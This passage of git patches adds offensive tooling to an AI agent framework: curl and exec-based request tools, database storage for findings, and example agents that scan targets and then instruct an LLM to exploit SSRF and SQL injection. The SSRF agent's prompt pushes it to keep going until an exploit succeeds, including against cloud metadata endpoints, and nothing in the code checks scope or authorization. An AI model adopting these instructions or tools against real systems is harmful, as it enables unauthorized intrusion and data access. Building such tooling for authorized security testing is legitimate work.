http_request("https://target.com/api?param=http://127.0.0.1", timeout=5) + """ + + results = [] + executed_commands = [] + + try: + curl_cmd_parts = ["curl", "-s", "-v", "--max-time", str(timeout)] + if method != "GET": + curl_cmd_parts.extend(["-X", method]) + if follow_redirects: + curl_cmd_parts.append("--location-trusted") + if headers: + for key, value in headers.items(): + curl_cmd_parts.extend(["-H", f"{key}: {value}"]) + curl_cmd_parts.append(f"'{url}'") + + curl_cmd = " ".join(curl_cmd_parts) + executed_commands.append(curl_cmd) + + + start_time = time.time() + + response = requests.request( + method=method, + url=url, + headers=headers or {}, + timeout=timeout, + allow_redirects=follow_redirects, + verify=False, # Allow self-signed certs for testing + ) + + response_time = time.time() - start_time + + # Capture response details + results.append(f"HTTP/{response.raw.version // 10}.{response.raw.version % 10} {response.status_code} {response.reason}") + results.append(f"Response time: {response_time:.3f}s") + results.append(f"Content length: {len(response.content)} bytes") + results.append(f"Content type: {response.headers.get('content-type', 'unknown')}") + + # Capture important response headers + important_headers = ['server', 'location', 'set-cookie', 'x-powered-by', 'x-frame-options'] + for header in important_headers: + if header in response.headers: + results.append(f"{header.title()}: {response.headers[header]}") + + # Capture response body (truncated if too large) + if response.content: + try: + response_text = response.text + if len(response_text) > max_response_size: + preview = response_text[:max_response_size] + "... [TRUNCATED]" + else: + preview = response_text + + # Clean up response for analysis + preview = preview.replace('\n', '\\n').replace('\r', '\\r') + results.append(f"Response body: {preview}") + except: + results.append("Response body: [BINARY DATA]") + else: + results.append("Response body: [EMPTY]") + + # Add analysis hints + analysis_hints = [] + if response_time > 5: + analysis_hints.append("SLOW_RESPONSE") + if response.status_code >= 500: + analysis_hints.append("SERVER_ERROR") + if response.status_code == 403: + analysis_hints.append("FORBIDDEN") + if response.status_code in [301, 302, 307, 308]: + analysis_hints.append("REDIRECT") + if len(response.content) == 0: + analysis_hints.append("EMPTY_RESPONSE") + if any(keyword in response.text.lower() for keyword in ['connection', 'timeout', 'refused', 'internal']): + analysis_hints.append("CONNECTION_KEYWORDS") + + if analysis_hints: + results.append(f"Analysis hints: {', '.join(analysis_hints)}") + + except requests.exceptions.Timeout: + results.append(f"Request timed out after {timeout}s") + results.append("Analysis hints: TIMEOUT") + except requests.exceptions.ConnectionError as e: + error_msg = str(e)[:200] + results.append(f"Connection error: {error_msg}") + results.append("Analysis hints: CONNECTION_ERROR") + except Exception as e: + error_msg = str(e)[:200] + results.append(f"Request failed: {error_msg}") + results.append("Analysis hints: REQUEST_FAILED") + + logger.info(f"[*] HTTP request completed for {url}") + + command_log = "Commands executed:\n" + "\n".join(f" {cmd}" for cmd in executed_commands) + return command_log + "\n\nResults:\n" + "\n".join(results) + + @tool_method() + def curl(self, args: str) -> str: + """ + Execute curl command with specified arguments. + + Args: + args: Complete curl arguments (e.g., "-s -I https://example.com" or "-X POST -d 'data' https://api.example.com") + + Returns: + Raw curl output + """ + try: + result = subprocess.run( + f"curl {args}", + shell=True, + capture_output=True, + text=True, + timeout=30 + ) + + output = [] + if result.stdout: + output.append("STDOUT:") + output.append(result.stdout) + if result.stderr: + output.append("STDERR:") + output.append(result.stderr) + output.append(f"Exit code: {result.returncode}") + + return "\n".join(output) + + except subprocess.TimeoutExpired: + return "Error: Command timed out after 30 seconds" + except Exception as e: + return f"Error executing curl: {e}" + + @tool_method() + def python_requests(self, code: str) -> str: + """ + Execute Python requests library code for HTTP operations. + + Args: + code: Python code using requests library (imports handled automatically) + + Returns: + Output from executed Python code + + Example: + code = "r = requests.get('https://httpbin.org/get'); print(f'Status: {r.status_code}'); print(r.text[:200])" + """ + try: + # Create safe execution environment with requests available + import sys + from io import StringIO + + # Capture output + old_stdout = sys.stdout + sys.stdout = captured_output = StringIO() + + # Execute the code with requests imported + exec_globals = { + 'requests': requests, + 'json': __import__('json'), + 'time': time, + } + + exec(code, exec_globals) + + # Restore stdout and get output + sys.stdout = old_stdout + output = captured_output.getvalue() + + return output if output else "Code executed successfully (no output)" + + except Exception as e: + sys.stdout = old_stdout + return f"Error executing code: {e}" + @tool_method() def generate_golden_ticket( self, diff --git a/dreadnode/agent/tools/neo4j/tool.py b/dreadnode/agent/tools/neo4j/tool.py index 2194e166..51a9ce27 100644 --- a/dreadnode/agent/tools/neo4j/tool.py +++ b/dreadnode/agent/tools/neo4j/tool.py @@ -95,6 +95,71 @@ async def store_subdomain_takeover_finding( except Exception as e: logger.error(f"Failed to store finding: {e}") return f"Failed to store finding: {e}" + + @tool_method() + async def store_ssrf_finding( + self, + url: str, + parameter: str, + vulnerability_type: str, + risk_level: str, + payload: str, + response_evidence: str, + internal_service_accessed: str = "", + ) -> str: + """Store an SSRF vulnerability finding in Neo4j. + + Args: + url: Target URL with vulnerable parameter + parameter: Parameter name that's vulnerable + vulnerability_type: Type of SSRF (e.g., "blind_ssrf", "full_response_ssrf") + risk_level: Risk level (low/medium/high/critical) + payload: Successful SSRF payload used + response_evidence: Evidence of SSRF (response differences, error messages) + internal_service_accessed: Internal service that was accessed (if any) + + Returns: + Confirmation message with finding ID + """ + driver = await self._get_driver() + + try: + query = """ + CREATE (f:SSRFVulnerability { + url: $url, + parameter: $parameter, + vulnerability_type: $vulnerability_type, + risk_level: $risk_level, + timestamp: $timestamp, + payload: $payload, + response_evidence: $response_evidence, + internal_service_accessed: $internal_service_accessed, + finding_id: randomUUID() + }) + RETURN f.finding_id as finding_id + """ + + params = { + "url": url, + "parameter": parameter, + "vulnerability_type": vulnerability_type, + "risk_level": risk_level.upper(), + "timestamp": datetime.now().isoformat(), + "payload": payload, + "response_evidence": response_evidence, + "internal_service_accessed": internal_service_accessed, + } + + async with driver.session() as session: + result = await session.run(query, params) + record = await result.single() + + logger.info(f"Stored SSRF finding for {url}") + return f"Successfully stored SSRF finding: {record['finding_id'] if record else 'unknown'}" + + except Exception as e: + logger.error(f"Failed to store SSRF finding: {e}") + return f"Failed to store SSRF finding: {e}" @tool_method() async def query_findings( diff --git a/examples/agents/ssrf_hunter/agent.py b/examples/agents/ssrf_hunter/agent.py new file mode 100644 index 00000000..6d48404d --- /dev/null +++ b/examples/agents/ssrf_hunter/agent.py @@ -0,0 +1,375 @@ +import argparse +import asyncio +import json +import time +import typing as t +from pathlib import Path + +from rich.console import Console + +import dreadnode as dn +from dreadnode.agent.agent import Agent +from dreadnode.agent.result import AgentResult +from dreadnode.agent.tools.bbot.tool import BBotTool +from dreadnode.agent.tools.kali.tool import KaliTool +from dreadnode.agent.tools.neo4j.tool import Neo4jTool + +# Import necessary components for Pydantic dataclass fix +from dreadnode.agent.events import ( + AgentEnd, + AgentError, + AgentStalled, + AgentStart, + Event, + GenerationEnd, + StepStart, + ToolEnd, + ToolStart, +) + +# Rebuild dataclasses after all imports are complete +try: + from dreadnode.agent.state import State + from dreadnode.agent.reactions import Reaction + + critical_classes = [ + Event, + AgentStart, + StepStart, + GenerationEnd, + AgentStalled, + AgentError, + ToolStart, + ToolEnd, + AgentEnd, + ] + + for event_class in critical_classes: + import pydantic.dataclasses + pydantic.dataclasses.rebuild_dataclass(event_class) +except Exception: + pass + +# Configure Dreadnode +dn.configure(server=None, token=None, project="ssrf-hunter-agent", console=False) + +console = Console() + + +@dn.task(name="Analyze SSRF Finding", label="analyze_ssrf_finding") +async def analyze_ssrf_finding(finding_data: dict) -> dict: + """Analyze a BBOT SSRF finding for exploitability.""" + ssrf_agent = create_ssrf_agent() + + # Extract key details from BBOT finding + url = finding_data.get('data', {}).get('url', '') + host = finding_data.get('data', {}).get('host', '') + description = finding_data.get('data', {}).get('description', '') + + # Parse parameter details from description + param_name = extract_param_name(description) + param_type = extract_param_type(description) + original_value = extract_original_value(description) + + console.print(f"[*] Analyzing SSRF finding on {host}") + console.print(f" URL: {url}") + console.print(f" Parameter: {param_name} ({param_type})") + console.print(f" Original value preview: {original_value[:50]}...") + + result = await ssrf_agent.run( + f"Analyze the potential SSRF vulnerability at {url} using parameter '{param_name}'. " + f"The original parameter value was: {original_value[:100]}{'...' if len(original_value) > 100 else ''}\n\n" + f"Use http_request tool to test SSRF by modifying the {param_name} parameter with different payloads. " + f"Start with a few basic tests, analyze the responses, then iterate with more targeted payloads based on what you discover." + ) + + tool_outputs = {} + tools_used = [] + + for message in result.messages: + if message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + tool_name = tool_call.function.name + tools_used.append(tool_name) + console.print(f"[*] Agent calling tool: {tool_name}") + console.print(f" Arguments: {tool_call.function.arguments}") + elif message.role == "tool": + tool_name = getattr(message, "name", "unknown") + tool_outputs[tool_name] = message.content + console.print(f"[*] Tool {tool_name} output:") + console.print(f" {message.content[:200]}...") + dn.log_output(f"tool_output_{tool_name}", message.content) + + # Check if SSRF was confirmed based on agent analysis and tool storage + finding_stored = "store_ssrf_finding" in tools_used + has_ssrf = finding_stored + if result.messages and result.messages[-1].content: + has_ssrf = has_ssrf or any( + phrase in result.messages[-1].content.lower() + for phrase in [ + "ssrf confirmed", + "server-side request forgery", + "internal service access", + "cloud metadata accessible", + "localhost accessible", + "internal network response", + "ssrf vulnerability confirmed", + "internal service responded", + "metadata endpoint accessible", + "ssrf vulnerability detected" + ] + ) + + dn.log_metric("tools_used", len(tools_used)) + dn.log_metric("has_ssrf", 1 if has_ssrf else 0) + dn.log_metric("stored_in_db", 1 if finding_stored else 0) + dn.log_output("raw_tool_data", tool_outputs) + + analysis_result = { + "url": url, + "host": host, + "parameter": param_name, + "param_type": param_type, + "tools_used": tools_used, + "tool_outputs": tool_outputs, + "analysis": result.messages[-1].content if result.messages else None, + "steps": result.steps, + "has_ssrf": has_ssrf, + "stored_in_db": finding_stored, + "original_finding": finding_data + } + + return analysis_result + + +def create_ssrf_agent() -> Agent: + """Create an SSRF vulnerability analysis agent.""" + tools = [BBotTool(), KaliTool(), Neo4jTool()] + + return Agent( + name="ssrf-hunter-agent", + description="An agent that analyzes and exploits SSRF vulnerabilities", + model="gpt-4-turbo", + tools=tools, + instructions="""You are an expert at analyzing and exploiting Server-Side Request Forgery (SSRF) vulnerabilities. + +APPROACH: Use http_request tool to test SSRF by crafting URLs with different payloads and analyzing responses for all types of environments, including cloud metadata services for all cloud providers, internal web services, and local resources. Do not just suggest payloads - actually execute requests and analyze results and do not stop until you have been able to execute an exploit, your turns are not limited. + +Based on observed results, try additional payloads or techniques for all types of SSRF: +- Blind SSRF: Look for time delays, error messages, or out-of-band interactions. +- Full Response SSRF: Analyze response codes, content, headers, and timing. +- Time-Based SSRF: Use time delays to infer internal service behavior. +- Different response codes (403 vs 200 vs 500) between internal/external +- Response time differences (timeouts on internal vs fast external) +- Error messages revealing internal hostnames/services +- Different content lengths suggesting internal service responses +- Connection errors that indicate network access attempts + +When you CONFIRM SSRF, use store_ssrf_finding with: +- The vulnerable URL and parameter +- Vulnerability type: "blind_ssrf", "full_response_ssrf", "time_based_ssrf" +- Risk level based on what you can access +- The successful payload that proved SSRF +- Evidence from response analysis + +IMPORTANT: Use available tools - start with a few payloads, analyze responses, then iterate with more targeted tests based on what you learn.""", + ) + + +def extract_param_name(description: str) -> str: + """Extract parameter name from BBOT finding description.""" + if "Name: [" in description: + start = description.find("Name: [") + 7 + end = description.find("]", start) + return description[start:end] if end > start else "unknown" + return "unknown" + + +def extract_param_type(description: str) -> str: + """Extract parameter type from BBOT finding description.""" + if "Parameter Type: [" in description: + start = description.find("Parameter Type: [") + 17 + end = description.find("]", start) + return description[start:end] if end > start else "unknown" + return "unknown" + + +def extract_original_value(description: str) -> str: + """Extract original parameter value from BBOT finding description.""" + if "Original Value: [" in description: + start = description.find("Original Value: [") + 17 + end = description.rfind("]") # Last bracket + return description[start:end] if end > start else "" + return "" + + +def is_ssrf_finding(event: dict) -> bool: + """Check if a BBOT event is an SSRF finding.""" + if event.get('type') != 'FINDING': + return False + + description = event.get('data', {}).get('description', '') + return 'Server-side Request Forgery' in description + + +async def hunt_from_bbot_scan( + targets: Path | None = None, + presets: list[str] | None = None, + modules: list[str] | None = None, + flags: list[str] | None = None, + config: Path | dict[str, t.Any] | None = None, +) -> None: + """Hunt for SSRF vulnerabilities from BBOT scan findings.""" + + if isinstance(targets, Path): + with Path.open(targets) as f: + targets = [line.strip() for line in f.readlines() if line.strip()] + + if not targets: + console.print("Error: No targets provided. Use --targets to specify targets.") + return + + # Start dreadnode run context + with dn.run("ssrf-hunt-from-bbot"): + # Log parameters + dn.log_params( + target_count=len(targets), + presets=presets or [], + modules=modules or [], + flags=flags or [], + ) + + console.print(f"Starting SSRF hunt on {len(targets)} targets using BBOT scan...") + + # Track findings + ssrf_findings_count = 0 + total_findings = 0 + + # Run BBOT scan with hunt module to find potential SSRF parameters + tool = BBotTool() + + # Use hunt module to find parameters, plus httpx for web crawling + scan_modules = modules or ["httpx", "excavate", "hunt"] + + for target in targets: + try: + console.print(f"[*] Scanning {target} for SSRF parameters...") + + events = tool.run( + target=target, + presets=presets, + modules=scan_modules, + flags=flags, + config=config, + ) + + async for event in events: + # Filter for SSRF findings + if is_ssrf_finding(event): + total_findings += 1 + console.print(f"Found SSRF candidate on {event.get('host')}") + + # Analyze the SSRF finding + try: + analysis_result = await analyze_ssrf_finding(event) + + if analysis_result["has_ssrf"]: + ssrf_findings_count += 1 + + security_finding = { + "url": analysis_result["url"], + "host": analysis_result["host"], + "parameter": analysis_result["parameter"], + "finding_type": "ssrf", + "risk_level": "high", + "analysis": analysis_result["analysis"], + "tool_outputs": analysis_result["tool_outputs"], + "timestamp": time.time(), + "stored_in_db": analysis_result["stored_in_db"], + } + + dn.log_output(f"ssrf_finding_{analysis_result['host']}", security_finding) + console.print(f"SSRF CONFIRMED on {analysis_result['host']}") + else: + console.print(f"SSRF not exploitable on {event.get('host')}") + + except Exception as e: + console.print(f"Error analyzing SSRF finding: {e}") + + except Exception as e: + console.print(f"Error scanning {target}: {e}") + + dn.log_metric("total_findings", total_findings) + dn.log_metric("ssrf_confirmed", ssrf_findings_count) + + console.print(f"\nHunt Summary:") + console.print(f" SSRF candidates found: {total_findings}") + console.print(f" SSRF vulnerabilities confirmed: {ssrf_findings_count}") + + +async def analyze_finding_file(finding_file: Path, debug: bool = False) -> None: + """Analyze SSRF findings from a JSON file (for testing).""" + + with dn.run("ssrf-analyze-findings"): + console.print(f"Analyzing findings from {finding_file}") + + try: + with open(finding_file) as f: + findings = json.load(f) + + if not isinstance(findings, list): + findings = [findings] + + ssrf_count = 0 + for finding in findings: + if is_ssrf_finding(finding): + console.print(f"[*] Analyzing SSRF finding...") + analysis_result = await analyze_ssrf_finding(finding) + + if debug: + console.print(f"Tools used: {', '.join(analysis_result['tools_used'])}") + console.print(f"Analysis: {analysis_result['analysis'][:200]}...") + + if analysis_result["has_ssrf"]: + ssrf_count += 1 + console.print(f"SSRF CONFIRMED!") + else: + console.print(f"No SSRF exploitation possible") + + dn.log_metric("ssrf_findings", ssrf_count) + console.print(f"\nAnalysis Summary:") + console.print(f" SSRF vulnerabilities confirmed: {ssrf_count}") + + except Exception as e: + console.print(f"Error analyzing findings file: {e}") + + +async def main(): + parser = argparse.ArgumentParser(description="SSRF vulnerability hunter") + subparsers = parser.add_subparsers(dest="command", help="Available commands") + + # Hunt command - scan targets and analyze SSRF findings + hunt_parser = subparsers.add_parser("hunt", help="Hunt for SSRF vulnerabilities using BBOT") + hunt_parser.add_argument("--targets", type=Path, help="Path to file containing targets") + hunt_parser.add_argument("--presets", nargs="*", help="BBOT presets to use") + hunt_parser.add_argument("--modules", nargs="*", help="BBOT modules to use (default: httpx,excavate,hunt)") + hunt_parser.add_argument("--flags", nargs="*", help="BBOT flags to use") + hunt_parser.add_argument("--config", type=Path, help="Path to config file") + + # Analyze command - analyze findings from JSON file + analyze_parser = subparsers.add_parser("analyze", help="Analyze SSRF findings from JSON file") + analyze_parser.add_argument("finding_file", type=Path, help="JSON file containing BBOT findings") + analyze_parser.add_argument("--debug", action="store_true", help="Show debug information") + + args = parser.parse_args() + + if args.command == "hunt": + await hunt_from_bbot_scan(args.targets, args.presets, args.modules, args.flags, args.config) + elif args.command == "analyze": + await analyze_finding_file(args.finding_file, args.debug) + else: + parser.print_help() + + +if __name__ == "__main__": + asyncio.run(main()) \ No newline at end of file From e6a18e00395b0d73909c34f180c99529843de100 Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Wed, 3 Sep 2025 14:35:55 -0400 Subject: [PATCH 48/60] feat: basic sql injection agent --- dreadnode/agent/tools/neo4j/tool.py | 69 ++++++ examples/agents/sqli_hunter/agent.py | 356 +++++++++++++++++++++++++++ 2 files changed, 425 insertions(+) create mode 100644 examples/agents/sqli_hunter/agent.py diff --git a/dreadnode/agent/tools/neo4j/tool.py b/dreadnode/agent/tools/neo4j/tool.py index 51a9ce27..487ed9ce 100644 --- a/dreadnode/agent/tools/neo4j/tool.py +++ b/dreadnode/agent/tools/neo4j/tool.py @@ -160,6 +160,75 @@ async def store_ssrf_finding( except Exception as e: logger.error(f"Failed to store SSRF finding: {e}") return f"Failed to store SSRF finding: {e}" + + @tool_method() + async def store_sqli_finding( + self, + url: str, + parameter: str, + vulnerability_type: str, + risk_level: str, + payload: str, + response_evidence: str, + database_type: str = "", + injection_point: str = "", + ) -> str: + """Store a SQL injection vulnerability finding in Neo4j. + + Args: + url: Target URL with vulnerable parameter + parameter: Parameter name that's vulnerable + vulnerability_type: Type of SQLi (e.g., "union_based", "boolean_blind", "time_based", "error_based") + risk_level: Risk level (low/medium/high/critical) + payload: Successful SQL injection payload used + response_evidence: Evidence of SQLi (error messages, data extraction, timing differences) + database_type: Detected database type (MySQL, PostgreSQL, MSSQL, etc.) + injection_point: Where injection occurs (GET, POST, Cookie, etc.) + + Returns: + Confirmation message with finding ID + """ + driver = await self._get_driver() + + try: + query = """ + CREATE (f:SQLInjectionVulnerability { + url: $url, + parameter: $parameter, + vulnerability_type: $vulnerability_type, + risk_level: $risk_level, + timestamp: $timestamp, + payload: $payload, + response_evidence: $response_evidence, + database_type: $database_type, + injection_point: $injection_point, + finding_id: randomUUID() + }) + RETURN f.finding_id as finding_id + """ + + params = { + "url": url, + "parameter": parameter, + "vulnerability_type": vulnerability_type, + "risk_level": risk_level.upper(), + "timestamp": datetime.now().isoformat(), + "payload": payload, + "response_evidence": response_evidence, + "database_type": database_type, + "injection_point": injection_point, + } + + async with driver.session() as session: + result = await session.run(query, params) + record = await result.single() + + logger.info(f"Stored SQL injection finding for {url}") + return f"Successfully stored SQL injection finding: {record['finding_id'] if record else 'unknown'}" + + except Exception as e: + logger.error(f"Failed to store SQL injection finding: {e}") + return f"Failed to store SQL injection finding: {e}" @tool_method() async def query_findings( diff --git a/examples/agents/sqli_hunter/agent.py b/examples/agents/sqli_hunter/agent.py new file mode 100644 index 00000000..a3d591cc --- /dev/null +++ b/examples/agents/sqli_hunter/agent.py @@ -0,0 +1,356 @@ +import argparse +import asyncio +import json +import time +import typing as t +from pathlib import Path + +from rich.console import Console + +import dreadnode as dn +from dreadnode.agent.agent import Agent +from dreadnode.agent.result import AgentResult +from dreadnode.agent.tools.bbot.tool import BBotTool +from dreadnode.agent.tools.kali.tool import KaliTool +from dreadnode.agent.tools.neo4j.tool import Neo4jTool + +from dreadnode.agent.events import ( + AgentEnd, + AgentError, + AgentStalled, + AgentStart, + Event, + GenerationEnd, + StepStart, + ToolEnd, + ToolStart, +) + +try: + from dreadnode.agent.state import State + from dreadnode.agent.reactions import Reaction + + critical_classes = [ + Event, + AgentStart, + StepStart, + GenerationEnd, + AgentStalled, + AgentError, + ToolStart, + ToolEnd, + AgentEnd, + ] + + for event_class in critical_classes: + import pydantic.dataclasses + pydantic.dataclasses.rebuild_dataclass(event_class) +except Exception: + pass + +dn.configure(server=None, token=None, project="sqli-hunter-agent", console=False) + +console = Console() + + +@dn.task(name="Analyze SQLi Finding", label="analyze_sqli_finding") +async def analyze_sqli_finding(finding_data: dict) -> dict: + """Analyze a BBOT SQL injection finding for exploitability.""" + sqli_agent = create_sqli_agent() + + url = finding_data.get('data', {}).get('url', '') + host = finding_data.get('data', {}).get('host', '') + description = finding_data.get('data', {}).get('description', '') + + param_name = extract_param_name(description) + param_type = extract_param_type(description) + original_value = extract_original_value(description) + + console.print(f"[*] Analyzing SQL injection finding on {host}") + console.print(f" URL: {url}") + console.print(f" Parameter: {param_name} ({param_type})") + console.print(f" Original value: {original_value}") + + result = await sqli_agent.run( + f"Analyze the potential SQL injection vulnerability at {url} using parameter '{param_name}'. " + f"The original parameter value was: {original_value}\n\n" + f"Use the tools available to you to test for SQL injection by modifying the {param_name} parameter. " + f"Test systematically using your expertise to choose appropriate payloads and analyze responses." + ) + + tool_outputs = {} + tools_used = [] + + for message in result.messages: + if message.role == "assistant" and message.tool_calls: + for tool_call in message.tool_calls: + tool_name = tool_call.function.name + tools_used.append(tool_name) + console.print(f"[*] Agent calling tool: {tool_name}") + console.print(f" Arguments: {tool_call.function.arguments}") + elif message.role == "tool": + tool_name = getattr(message, "name", "unknown") + tool_outputs[tool_name] = message.content + console.print(f"[*] Tool {tool_name} output:") + console.print(f" {message.content[:200]}...") + dn.log_output(f"tool_output_{tool_name}", message.content) + + finding_stored = "store_sqli_finding" in tools_used + has_sqli = finding_stored + if result.messages and result.messages[-1].content: + has_sqli = has_sqli or any( + phrase in result.messages[-1].content.lower() + for phrase in [ + "sql injection confirmed", + "sqli confirmed", + "injection successful", + "database error", + "syntax error", + "mysql error", + "postgresql error", + "oracle error", + "mssql error", + "union select", + "sql vulnerability confirmed", + "injection point found", + "database accessible", + "sql injection detected" + ] + ) + + dn.log_metric("tools_used", len(tools_used)) + dn.log_metric("has_sqli", 1 if has_sqli else 0) + dn.log_metric("stored_in_db", 1 if finding_stored else 0) + dn.log_output("raw_tool_data", tool_outputs) + + db_version = "See agent analysis for database details" if has_sqli else "" + + analysis_result = { + "url": url, + "host": host, + "parameter": param_name, + "param_type": param_type, + "tools_used": tools_used, + "tool_outputs": tool_outputs, + "analysis": result.messages[-1].content if result.messages else None, + "steps": result.steps, + "has_sqli": has_sqli, + "stored_in_db": finding_stored, + "db_version": db_version, + "original_finding": finding_data + } + + return analysis_result + + +def create_sqli_agent() -> Agent: + """Create a SQL injection vulnerability analysis agent.""" + tools = [BBotTool(), KaliTool(), Neo4jTool()] + + return Agent( + name="sqli-hunter-agent", + description="An agent that analyzes and exploits SQL injection vulnerabilities", + model="gpt-4-turbo", + tools=tools, + instructions="""You are an expert at analyzing and exploiting SQL injection vulnerabilities. + +Use the tools available to you to test for SQL injection by modifying the vulnerable parameter with various payloads. + +Analyze responses for indicators of SQL injection. If you confirm SQL injection exists, attempt to identify the database type and version through error messages, version queries, or response patterns. + +Be thorough and systematic in your testing approach. Use your expertise to choose appropriate payloads and techniques. + +If you confirm SQL injection exists, use store_sqli_finding to record the vulnerability with details about the successful payload and evidence.""", + ) + + +def extract_param_name(description: str) -> str: + """Extract parameter name from BBOT finding description.""" + if "Name: [" in description: + start = description.find("Name: [") + 7 + end = description.find("]", start) + return description[start:end] if end > start else "unknown" + return "unknown" + + +def extract_param_type(description: str) -> str: + """Extract parameter type from BBOT finding description.""" + if "Parameter Type: [" in description: + start = description.find("Parameter Type: [") + 17 + end = description.find("]", start) + return description[start:end] if end > start else "unknown" + return "unknown" + + +def extract_original_value(description: str) -> str: + """Extract original parameter value from BBOT finding description.""" + if "Original Value: [" in description: + start = description.find("Original Value: [") + 17 + end = description.rfind("]") + return description[start:end] if end > start else "" + return "" + + + +def is_sqli_finding(event: dict) -> bool: + """Check if a BBOT event is a SQL injection finding.""" + if event.get('type') != 'FINDING': + return False + + description = event.get('data', {}).get('description', '') + return 'SQL Injection' in description + + +async def hunt_from_bbot_scan( + targets: Path | None = None, + presets: list[str] | None = None, + modules: list[str] | None = None, + flags: list[str] | None = None, + config: Path | dict[str, t.Any] | None = None, +) -> None: + """Hunt for SQL injection vulnerabilities from BBOT scan findings.""" + + if isinstance(targets, Path): + with Path.open(targets) as f: + targets = [line.strip() for line in f.readlines() if line.strip()] + + if not targets: + console.print("Error: No targets provided. Use --targets to specify targets.") + return + + with dn.run("sqli-hunt-from-bbot"): + dn.log_params( + target_count=len(targets), + presets=presets or [], + modules=modules or [], + flags=flags or [], + ) + + console.print(f"Starting SQL injection hunt on {len(targets)} targets using BBOT scan...") + + sqli_findings_count = 0 + total_findings = 0 + + tool = BBotTool() + + scan_modules = modules or ["httpx", "excavate", "hunt"] + + for target in targets: + try: + console.print(f"[*] Scanning {target} for SQL injection parameters...") + + events = tool.run( + target=target, + presets=presets, + modules=scan_modules, + flags=flags, + config=config, + ) + + async for event in events: + if is_sqli_finding(event): + total_findings += 1 + console.print(f"Found SQL injection candidate on {event.get('host')}") + + try: + analysis_result = await analyze_sqli_finding(event) + + if analysis_result["has_sqli"]: + sqli_findings_count += 1 + + security_finding = { + "url": analysis_result["url"], + "host": analysis_result["host"], + "parameter": analysis_result["parameter"], + "finding_type": "sqli", + "risk_level": "high", + "analysis": analysis_result["analysis"], + "tool_outputs": analysis_result["tool_outputs"], + "timestamp": time.time(), + "stored_in_db": analysis_result["stored_in_db"], + "db_version": analysis_result["db_version"], + } + + dn.log_output(f"sqli_finding_{analysis_result['host']}", security_finding) + console.print(f"SQL INJECTION CONFIRMED on {analysis_result['host']}") + else: + console.print(f"SQL injection not exploitable on {event.get('host')}") + + except Exception as e: + console.print(f"Error analyzing SQL injection finding: {e}") + + except Exception as e: + console.print(f"Error scanning {target}: {e}") + + dn.log_metric("total_findings", total_findings) + dn.log_metric("sqli_confirmed", sqli_findings_count) + + console.print(f"\nHunt Summary:") + console.print(f" SQL injection candidates found: {total_findings}") + console.print(f" SQL injection vulnerabilities confirmed: {sqli_findings_count}") + + +async def analyze_finding_file(finding_file: Path, debug: bool = False) -> None: + """Analyze SQL injection findings from a JSON file (for testing).""" + + with dn.run("sqli-analyze-findings"): + console.print(f"Analyzing findings from {finding_file}") + + try: + with open(finding_file) as f: + findings = json.load(f) + + if not isinstance(findings, list): + findings = [findings] + + sqli_count = 0 + for finding in findings: + if is_sqli_finding(finding): + console.print(f"[*] Analyzing SQL injection finding...") + analysis_result = await analyze_sqli_finding(finding) + + if debug: + console.print(f"Tools used: {', '.join(analysis_result['tools_used'])}") + console.print(f"Analysis: {analysis_result['analysis'][:200]}...") + + if analysis_result["has_sqli"]: + sqli_count += 1 + console.print(f"SQL INJECTION CONFIRMED!") + else: + console.print(f"No SQL injection exploitation possible") + + dn.log_metric("sqli_findings", sqli_count) + console.print(f"\nAnalysis Summary:") + console.print(f" SQL injection vulnerabilities confirmed: {sqli_count}") + + except Exception as e: + console.print(f"Error analyzing findings file: {e}") + + +async def main(): + parser = argparse.ArgumentParser(description="SQL injection vulnerability hunter") + subparsers = parser.add_subparsers(dest="command", help="Available commands") + + hunt_parser = subparsers.add_parser("hunt", help="Hunt for SQL injection vulnerabilities using BBOT") + hunt_parser.add_argument("--targets", type=Path, help="Path to file containing targets") + hunt_parser.add_argument("--presets", nargs="*", help="BBOT presets to use") + hunt_parser.add_argument("--modules", nargs="*", help="BBOT modules to use (default: httpx,excavate,hunt)") + hunt_parser.add_argument("--flags", nargs="*", help="BBOT flags to use") + hunt_parser.add_argument("--config", type=Path, help="Path to config file") + + analyze_parser = subparsers.add_parser("analyze", help="Analyze SQL injection findings from JSON file") + analyze_parser.add_argument("finding_file", type=Path, help="JSON file containing BBOT findings") + analyze_parser.add_argument("--debug", action="store_true", help="Show debug information") + + args = parser.parse_args() + + if args.command == "hunt": + await hunt_from_bbot_scan(args.targets, args.presets, args.modules, args.flags, args.config) + elif args.command == "analyze": + await analyze_finding_file(args.finding_file, args.debug) + else: + parser.print_help() + + +if __name__ == "__main__": + asyncio.run(main()) \ No newline at end of file From c024918cb804be79aa2977d282c3c8510797d67c Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Wed, 3 Sep 2025 14:49:23 -0400 Subject: [PATCH 49/60] chore: display httpx HTTP_RESPONSE events for specific agents --- examples/agents/sqli_hunter/agent.py | 4 +++- examples/agents/ssrf_hunter/agent.py | 4 +++- 2 files changed, 6 insertions(+), 2 deletions(-) diff --git a/examples/agents/sqli_hunter/agent.py b/examples/agents/sqli_hunter/agent.py index a3d591cc..4f4dc500 100644 --- a/examples/agents/sqli_hunter/agent.py +++ b/examples/agents/sqli_hunter/agent.py @@ -239,12 +239,14 @@ async def hunt_from_bbot_scan( try: console.print(f"[*] Scanning {target} for SQL injection parameters...") + scan_config = config or {"omit_event_types": []} + events = tool.run( target=target, presets=presets, modules=scan_modules, flags=flags, - config=config, + config=scan_config, ) async for event in events: diff --git a/examples/agents/ssrf_hunter/agent.py b/examples/agents/ssrf_hunter/agent.py index 6d48404d..f3b42421 100644 --- a/examples/agents/ssrf_hunter/agent.py +++ b/examples/agents/ssrf_hunter/agent.py @@ -255,12 +255,14 @@ async def hunt_from_bbot_scan( try: console.print(f"[*] Scanning {target} for SSRF parameters...") + scan_config = config or {"omit_event_types": []} + events = tool.run( target=target, presets=presets, modules=scan_modules, flags=flags, - config=config, + config=scan_config, ) async for event in events: From 60e3c8bd373ddeaa89541ad47b447aa75ada3f76 Mon Sep 17 00:00:00 2001 From: Ads Dawson <104169244+GangGreenTemperTatum@users.noreply.github.com> Date: Wed, 3 Sep 2025 16:26:19 -0400 Subject: [PATCH 50/60] feat: host header injection agent --- examples/agents/host_header_hunter/agent.py | 315 ++++++++++++++++++++ 1 file changed, 315 insertions(+) create mode 100644 examples/agents/host_header_hunter/agent.py diff --git a/examples/agents/host_header_hunter/agent.py b/examples/agents/host_header_hunter/agent.py new file mode 100644 index 00000000..8cb51252 --- /dev/null +++ b/examples/agents/host_header_hunter/agent.py @@ 